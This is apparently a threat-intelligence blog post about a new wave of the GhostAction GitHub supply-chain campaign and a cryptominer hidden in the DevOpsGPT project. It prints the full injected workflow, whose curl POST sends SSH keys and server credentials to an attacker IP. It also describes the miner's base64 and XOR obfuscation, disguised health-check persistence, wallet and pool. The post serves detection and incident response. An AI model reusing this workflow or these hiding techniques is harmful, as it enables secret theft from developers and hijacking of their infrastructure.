The campaign we revealed back in September 2025 is back.
In September 2025, GitGuardian alerted to an ongoing supply chain attack we named GhostAction. That campaign compromised 817 public repositories across 327 GitHub users and exfiltrated at least 3,325 secrets. The attack relied on injecting a malicious workflow to steal credentials from victims' CI/CD pipelines, likely using previously compromised credentials. This technique was later reused during the Shai-Hulud campaigns and remains at the core of the Mini Shai-Hulud malware family, which is still used today.
This campaign saw a new spike in summer 2026. Researchers from Cynative independently observed the malicious commits and reached out to us about it.
Same techniques, new victims
The new wave of this campaign started around August 31st, at 2 pm GMT. It uses the exact same techniques and payload we described for the previous wave:
- A workflow file named
github_actions_security.ymlis injected into the victim repo - The commit message is set to
Add Github Actions Security workflow - Rather than dumping the entire environment, the workflow hardcodes the names of the secrets the attacker found referenced in the repository's legitimate workflows. It then sends their values in a single
curlPOST request to the attacker's server.
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&VPS_USER=${{ secrets.VPS_USER }}' http://193.32.204.199As in 2025, the 2026 attacker almost certainly scraped existing workflow/config history for ${{ secrets.NAME }} references, then inserted those same names into the exfiltration workflow.
The only significant change is the exfiltration endpoint. The 2025 wave used bold-dhawan.45-139-104-115.plesk.page and carte-avantage.com. This wave sends the stolen secrets over plain HTTP to a bare IP address: 193.32.204.199.
On September 7th, we also saw a small variant appear in 7 repositories. The file is named security-check.yml, the workflow is called "Security Check", and the commit message is Add security check workflow. It posts the secrets to a dedicated API on the same server, with a unique identifier for each injection:
hxxp://193.32.204.199:3000/api/workflow/receive?inj=<id>Where id is a unique identifier built into the malicious workflow.
This suggests the attacker now uses a backend that tracks which injection each stolen secret came from.
The scale of the new wave
Between August 31st and September 30th, 2026, the malicious workflow was pushed to 772 public repositories belonging to 373 GitHub users and organizations. As in 2025, every commit was made with the victim's own identity, using what appear to be stolen credentials.
The injections did not happen all at once. We observed three main bursts:
- August 31st: 143 repositories
- September 2nd to 5th: about 400 repositories, with a peak of 294 on September 5th
- September 15th: 103 repositories
Smaller injections continued until the end of September.
Across those repositories, the injected workflows target 2,577 secrets. Some of them, such as hostnames, usernames, or ports, are not sensitive on their own, but the attacker collects them alongside the credentials they belong to. The most targeted secrets are:
- SSH private keys and deployment server credentials (446)
- Azure credentials (218), with one organization alone exposing an Azure PAT and an SSH key in 92 repositories
- Container registry credentials for DockerHub and GHCR (142)
- Database credentials (112)
- AWS access keys (106)
- FTP credentials (92)
- Google Cloud and Firebase credentials (80)
- GitHub tokens (66)
- Telegram, Slack, and Discord bot tokens, plus Cloudflare, npm, PyPI, and AI provider keys

By matching the malicious workflow to its GitHub Actions run records, we found that GitHub held most runs for approval: of the 3,669 runs we collected across 605 repositories, only 499 executed, in 32 repositories. Because the workflow triggers on every push, these runs were mostly caused by legitimate commits pushed after the injection rather than by the injection itself. In total, 336 runs completed successfully, exfiltrating 26 secrets from 13 repositories, with new runs still triggering as of writing.
The cleanup trail is visible in public history: dozens of later commits explicitly describe removing a malicious or credential-exfiltrating workflow. Only 124 repositories (16%) were effectively cleaned in observed public history by 2026-10-05.
A campaign that never stopped
Calling this new wave a revival would be inaccurate. Our data shows that GhostAction never really stopped.
The clearest evidence is in the commits themselves. In 92 cases, the attacker did not add a new workflow. They modified one already in the repository, with the commit message Update Github Actions Security workflow. These workflows were injected during earlier waves and never removed. The attacker simply pointed them at the new endpoint. The replaced endpoints include the original bold-dhawan.45-139-104-115.plesk.page from September 2025, carte-avantage.com, and an endpoint we had not documented before: 170.39.218.2.
Following the exact workflow template through our historical data gives a clearer timeline of the campaign:
| Period | Exfiltration endpoint | Repositories |
|---|---|---|
| September 2025 | bold-dhawan.45-139-104-115.plesk.page, carte-avantage.com, objective-hopper.45-139-104-115.plesk.page | ~900 |
| October to December 2025, March 2026 | 170.39.218.2 | ~75 |
| November 2025, March and April 2026 | *.oast.fun (Interactsh) | ~250 |
| August and September 2026 | 193.32.204.199 | 772 |
A cryptominer hidden in DevOpsGPT
The new wave also brings an unexpected twist. While reviewing affected repositories, a cryptominer was found injected into kuafuai/DevOpsGPT, a popular open-source project with about 6,000 stars.
On August 30th, 2026, at 00:30 UTC, about a day and a half before the first GhostAction drop of this wave, a commit titled fix(subtask) 修改OpenAI版本 ("update the OpenAI version") was pushed to the repository. Despite its innocuous message, the commit modifies four files to embed an XMRig miner in the project's Docker image:
- The
Dockerfiledecodes a base64-encoded XMRig 6.21.0 download URL, then strips and UPX-packs the binary, installing it as/usr/local/bin/pyworker. The mining configuration is stored XOR-encrypted in theSERVICE_CONFIGenvironment variable, with the keydevops2024. run.shgains astart_servicefunction that copies the binary to a hidden/tmp/.<hash>file and starts it when the application starts.- The application's scheduler gets a fake
health_checkjob that runs every 45 seconds and restarts the miner if it is no longer running. Its state is tracked in/var/run/devops.pidand/var/log/devops.log.
Once decoded, the configuration points to the pool.supportxmr.com:3333 mining pool and the following Monero wallet:
832eKef1fNRTQdiJeJzsvkMMsogMp22FR2FLX1oaV5BxGfoMcJvkcbFgWgNRyNfsE19D9pdM1zdU7D9kRLdJbM5rU1vjfcLInterestingly, a corresponding Docker image was published to Docker Hub, but the miner does not seem to work. The encrypted configuration is truncated: it decodes to only four fields instead of the five the loader expects, and the last parameter is cut off mid-word. As a result, the persistence job silently skips the launch, and the startup script fails before running the miner.
On September 15th, the same account was used to push the GhostAction workflow to four of the organization's repositories, including DevOpsGPT, to steal its DockerHub credentials. The organization's maintainers removed the workflows on September 18th, and on October 4th they reverted the cryptominer commit.
So is the GhostAction operator also behind the cryptominer? We are not convinced. The two attacks used the same compromised account, but almost everything else differs:
- The GhostAction workflows were created through the GitHub API, under the account's usual identity. The miner commit was pushed with a forged author email we had never seen associated with this developer.
- The GhostAction payload is generic and automated. The miner was crafted specifically for this project, with a tailored disguise.
- We found no other repository carrying this miner, its configuration, or its wallet, whereas GhostAction hit hundreds of repositories within hours.
Stolen credentials do not always have a single owner
The DevOpsGPT case is not isolated. Cross-referencing GhostAction victims with other malicious activity on GitHub, we found 13 victim repositories that were also used for cryptomining through GitHub Actions. That activity belongs to at least four distinct mining campaigns, with different wallets, pools, and infrastructure. Some of these campaigns hit thousands of repositories.
In most cases, the miners appeared months after the GhostAction workflow. In others, they came first, sometimes only days before. One of those campaigns even copied GhostAction's naming, with commits titled chore(ci): GitHub Security Actions.
The most likely explanation is that the GitHub credentials used by GhostAction are not exclusive to its operator. Leaked tokens, infostealer logs, and credential dumps are traded and reused by many actors. A single compromised developer account can be exploited by several unrelated attackers, each with their own goals.
For victims, this has an important consequence. Rotating the secrets exfiltrated by the malicious workflow is not enough. The GitHub credential that allowed the injection in the first place must be found and revoked too, or someone else will use it again.